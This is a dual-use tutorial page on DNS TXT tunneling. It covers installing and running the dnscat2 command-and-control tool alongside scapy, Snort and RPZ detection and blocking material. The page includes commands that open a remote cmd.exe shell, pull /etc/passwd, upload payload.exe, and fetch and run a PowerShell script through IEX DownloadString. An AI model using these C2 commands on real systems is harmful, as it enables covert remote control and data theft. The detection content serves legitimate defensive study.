dns txt record tunneling

published: August 12, 2025

dns txt record tunneling exploits text records originally designed for domain verification and spf records. txt records are universally supported and rarely blocked, making them ideal for covert communication.

technical description

txt records (type 16) can store up to 255 octets per string with multiple strings per record. the technique encodes binary data in base64 and transmits through dns queries and responses.

key characteristics:

  • 255 byte limit per txt string
  • multiple strings allowed per record
  • base64 encoding reduces efficiency to ~190 bytes
  • universally supported by dns infrastructure
  • commonly used for legitimate purposes (spf, dkim, domain verification)

implementation: dnscat2

overview

dnscat2 (https://github.com/iagox86/dnscat2) provides an encrypted command and control framework:

  • encrypted by default (salsa20)
  • session-based architecture
  • supports txt, cname, mx, and a records
  • interactive shell access
  • file transfer capabilities
  • port forwarding

installation

# server (ruby)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install

# client (c)
cd ../client
make

server setup

# basic server
ruby dnscat2.rb

# with domain
ruby dnscat2.rb tunnel.example.com

# with pre-shared secret
ruby dnscat2.rb --secret=password123

# specify port
ruby dnscat2.rb --dns-port=5353

# no encryption (not recommended)
ruby dnscat2.rb --no-encryption

# debug mode
ruby dnscat2.rb --debug

client connection

# direct connection
./dnscat --secret=password123 tunnel.example.com

# through specific dns server
./dnscat --dns=8.8.8.8 --secret=password123 tunnel.example.com

# specify record type
./dnscat --type=TXT --secret=password123 tunnel.example.com

# execute command
./dnscat --exec="cmd.exe" --secret=password123 tunnel.example.com

interactive usage

# server console commands
dnscat2> windows
dnscat2> window -i 1  # switch to session 1
dnscat2> shell        # spawn shell
dnscat2> download /etc/passwd
dnscat2> upload payload.exe c:\temp\payload.exe
dnscat2> suspend      # background session

powershell implementation

dnscat2-powershell (https://github.com/lukebaggett/dnscat2-powershell):

# import module
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

# connect to server
Start-Dnscat2 -Domain tunnel.example.com -PreSharedSecret password123

# with custom dns
Start-Dnscat2 -Domain tunnel.example.com -DNSServer 8.8.8.8 -PreSharedSecret password123

traffic characteristics

query structure

# encoded data in subdomain
base64data.tunnel.example.com TXT

# response contains commands
tunnel.example.com. 0 IN TXT "v=dnscat2 d=base64encodeddata"

packet analysis

# detect dnscat2 traffic
from scapy.all import *
import base64

def analyze_dnscat2(pcap_file):
    packets = rdpcap(pcap_file)

    for p in packets:
        if p.haslayer(DNS) and p[DNS].qd:
            if p[DNS].qd.qtype == 16:  # TXT record
                domain = p[DNS].qd.qname.decode()
                subdomain = domain.split('.')[0]

                # check for base64 pattern
                try:
                    decoded = base64.b64decode(subdomain)
                    print(f"possible dnscat2: {domain}")
                except:
                    pass

encoding and encryption

data encoding

# simplified encoding concept
import base64

def encode_for_txt(data):
    # txt records limited to 255 chars
    encoded = base64.b64encode(data).decode()
    chunks = [encoded[i:i+189] for i in range(0, len(encoded), 189)]
    return chunks

def decode_from_txt(chunks):
    combined = ''.join(chunks)
    return base64.b64decode(combined)

encryption

dnscat2 uses salsa20 stream cipher:

# server generates keypair
@keypair = CryptoHelper.generate_keypair()

# client encrypts with server public key
encrypted = Salsa20.new(shared_secret).encrypt(data)

detection methods

behavioral indicators

  • high frequency txt queries to single domain
  • base64-encoded subdomains
  • consistent query patterns from single host
  • txt responses with high entropy
  • unusual txt record content

detection rules

# snort rule
alert udp any any -> any 53 (
    msg:"possible dnscat2 txt tunnel";
    content:"|00 10|"; dns_query;
    pcre:"/^[a-zA-Z0-9+\/]{20,}/";
    threshold: type limit, track by_src, count 20, seconds 60;
    sid:1000002;
)

statistical analysis

# frequency analysis
from collections import Counter
import time

def detect_txt_tunneling(queries, threshold=50):
    # track txt queries per domain per minute
    domain_counts = Counter()

    for query in queries:
        if query['type'] == 'TXT':
            base_domain = '.'.join(query['domain'].split('.')[-2:])
            domain_counts[base_domain] += 1

    # flag domains exceeding threshold
    suspicious = [d for d, c in domain_counts.items() if c > threshold]
    return suspicious

countermeasures

dns filtering

# block suspicious txt queries
# bind9 response policy zone
zone "rpz.local" {
    type master;
    file "/etc/bind/rpz.local";
};

# rpz.local file
tunnel.example.com CNAME .  ; block domain
*.tunnel.example.com CNAME .  ; block subdomains

content inspection

# inspect txt record content
def inspect_txt_content(txt_data):
    suspicious_patterns = [
        r'^v=dnscat',
        r'^[A-Za-z0-9+/]{50,}={0,2}$',  # base64
        r'^0x[0-9a-fA-F]+$'  # hex data
    ]

    for pattern in suspicious_patterns:
        if re.match(pattern, txt_data):
            return True
    return False

advantages and limitations

advantages

  • txt records rarely blocked
  • legitimate cover traffic (spf, dkim)
  • multiple encoding options
  • encrypted communication
  • cross-platform support

limitations

  • lower bandwidth than null records
  • 255 byte limit per string
  • base64 encoding overhead (25%)
  • more common, easier to detect
  • requires careful traffic shaping

alternative implementations

dns-txt-tunnel

simpler txt tunneling:

# basic txt tunnel implementation
python dns-txt-tunnel.py server tunnel.example.com
python dns-txt-tunnel.py client tunnel.example.com

dnscapy

scapy-based implementation:

# educational txt tunneling
from dnscapy import DNSTunnel
tunnel = DNSTunnel("tunnel.example.com")
tunnel.send("covert data")

real-world usage

documented campaigns

  • apt32 (oceanlotus): txt record c2 channels
  • oilrig: dns tunneling toolkit with txt support
  • 2018 dnsmessenger: powershell-based txt tunneling

malware families

  • pisloader: txt record staging
  • denis: txt-based backdoor
  • dnsmessenger: pure dns c2

testing setup

lab environment

# configure authoritative dns
cat > /etc/bind/named.conf.local << EOF
zone "tunnel.local" {
    type master;
    file "/etc/bind/db.tunnel.local";
};
EOF

# zone file
cat > /etc/bind/db.tunnel.local << EOF
\$TTL 0
@ IN SOA ns.tunnel.local. admin.tunnel.local. (1 0 0 0 0)
@ IN NS ns.tunnel.local.
ns IN A 192.168.1.100
EOF

# start dnscat2 server
ruby dnscat2.rb tunnel.local --secret=test123

# test client
./dnscat --secret=test123 tunnel.local

traffic generation

# generate sample traffic
for i in {1..100}; do
    nslookup -type=TXT random$i.tunnel.local
    sleep 0.5
done

# capture for analysis
tcpdump -i any -w dnscat2_traffic.pcap 'port 53'

references

on this page